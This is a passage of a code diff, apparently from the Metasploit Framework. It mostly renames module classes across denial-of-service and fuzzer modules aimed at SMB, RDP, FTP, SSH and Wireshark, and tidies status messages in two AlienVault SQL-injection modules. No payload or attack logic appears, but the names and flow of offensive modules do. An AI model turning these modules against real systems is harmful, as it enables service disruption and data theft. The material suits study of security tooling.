Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb index e97dc9134f..960caad59d 100644 --- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb +++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb index 4db6db9836..f83dbc13dc 100644 --- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb +++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb index b948914501..fc65243095 100644 --- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb index db9d2e31c5..3e6f11f24c 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb index ed94c74c86..e93a079cfc 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/xmeasy570_nlst.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index c2fddc489a..19130361c1 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb index c1003c6a87..517ce4a0c8 100644 --- a/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb +++ b/modules/auxiliary/dos/windows/http/ms10_065_ii6_asp_dos.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb index daf6ad587d..2dfb95de64 100644 --- a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index afb0eda518..f8be0ff9d5 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb index 09189c625e..d251700318 100644 --- a/modules/auxiliary/dos/windows/nat/nat_helper.rb +++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 61ea317635..a64a28454f 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index 79d649c253..e1e0065efc 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index fffd69b8dd..29ec0f804c 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index f60c224d7d..d5a480e758 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 65d494e2a3..7b51b4ae98 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb index 78ebe1e3af..6763919a40 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb index fe436b7ef0..41a1ad0808 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index 692d3080de..08c0cb47db 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer include Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index 25fec756b7..5cff79cdfd 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index 51fa2bab02..46aaf309f2 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp #include Msf::Exploit::Remote::SMB::Client diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 2ba38d2064..1b6a17314a 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb index d514712000..70abc3470a 100644 --- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb +++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb index 72166cc782..97e837d932 100644 --- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb +++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index de18f018d1..1729724e16 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb index 81f16d4860..6f15b331b3 100644 --- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb +++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb index 7be42e23eb..9c11bf9139 100644 --- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb +++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb index 9eeb6b614a..a04ee8e064 100644 --- a/modules/auxiliary/dos/wireshark/capwap.rb +++ b/modules/auxiliary/dos/wireshark/capwap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index fa78ad8a42..3cb3a0a4a3 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb index 63c678cc06..edbef44b07 100644 --- a/modules/auxiliary/dos/wireshark/cldap.rb +++ b/modules/auxiliary/dos/wireshark/cldap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index ee3f9bd317..f56c69f873 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture include Msf::Auxiliary::Dos diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 2d81a8f2c6..134bb40878 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'bit-struct' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index f28388b2f2..d351b927a6 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -10,7 +10,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Exploit::Remote::TcpServer diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index 00cf7bcdf5..6901b150b8 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Tcp diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index b115f6dd62..737baefe67 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -11,7 +11,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -538,7 +538,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Done fuzzing fields in form #{thisform[:name].upcase.strip}") end # fuzz headers ? - if datastore['FUZZHEADERS'] == true + if datastore['FUZZHEADERS'] print_status("Fuzzing header fields") do_fuzz_headers(thisform,response.headers) end diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb index 7dfe8a5d26..9aa76fb03e 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb index 7f186ec68a..ef23f1f7e5 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb index 922de4aa88..3d7168f45e 100644 --- a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex/proto/ntp' require 'securerandom' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Fuzzer include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb index a6b195bf44..d9ab59f73c 100644 --- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index 5d4486fc5e..2cca415efe 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index 17ae41ffde..a7779eb25f 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb index a47564f63f..43f2f3d00c 100644 --- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index 22b0824f1f..fbd70d10d0 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index a8eec1e014..78fabd2f8d 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index de640033a7..e8e1e0a081 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 607d774e18..4f8e978363 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -10,7 +10,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb index 23d1f9cb56..6f14b476c8 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb index fb5cad0492..ab17f04b9b 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb index fbb1368b86..c08d8075ee 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb index 658ecdee4a..3f3c58f872 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 9074760d1c..c65762796b 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 611c33d0ca..0f8d5520de 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb index 353e0dbbf5..06aa0639ed 100644 --- a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb +++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,20 +48,20 @@ class Metasploit4 < Msf::Auxiliary def run - print_status("#{peer} - Get a valid session cookie...") + print_status("Get a valid session cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') }) unless res and res.code == 200 - print_error("#{peer} - Server did not respond in an expected way") + print_error("Server did not respond in an expected way") return end cookie = res.get_cookies if cookie.blank? - print_error("#{peer} - Could not retrieve a cookie") + print_error("Could not retrieve a cookie") return end @@ -73,7 +73,7 @@ class Metasploit4 < Msf::Auxiliary 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) } - print_status("#{peer} - Login...") + print_status("Login...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), @@ -83,19 +83,19 @@ class Metasploit4 < Msf::Auxiliary }) unless res and res.code == 302 - print_error("#{peer} - Server did not respond in an expected way") + print_error("Server did not respond in an expected way") return end unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') - print_error("#{peer} - Authentication failed") + print_error("Authentication failed") return end cookie = res.get_cookies if cookie.blank? - print_error("#{peer} - Could not retrieve the authenticated cookie") + print_error("Could not retrieve the authenticated cookie") return end @@ -105,7 +105,7 @@ class Metasploit4 < Msf::Auxiliary left_marker = Rex::Text.rand_text_alpha(6) right_marker = Rex::Text.rand_text_alpha(6) - print_status("#{peer} - Exploiting SQLi...") + print_status("Exploiting SQLi...") loop do file = sqli(left_marker, right_marker, i, cookie, filename) diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb index 353e7ce052..3fc5e20342 100644 --- a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -48,20 +48,20 @@ class Metasploit4 < Msf::Auxiliary def run - print_status("#{peer} - Get a valid session cookie...") + print_status("Get a valid session cookie...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php') }) unless res && res.code == 200 - print_error("#{peer} - Server did not respond in an expected way") + print_error("Server did not respond in an expected way") return end cookie = res.get_cookies if cookie.blank? - print_error("#{peer} - Could not retrieve a cookie") + print_error("Could not retrieve a cookie") return end @@ -73,7 +73,7 @@ class Metasploit4 < Msf::Auxiliary 'pass' => Rex::Text.encode_base64(datastore['PASSWORD']) } - print_status("#{peer} - Login...") + print_status("Login...") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'), @@ -83,19 +83,19 @@ class Metasploit4 < 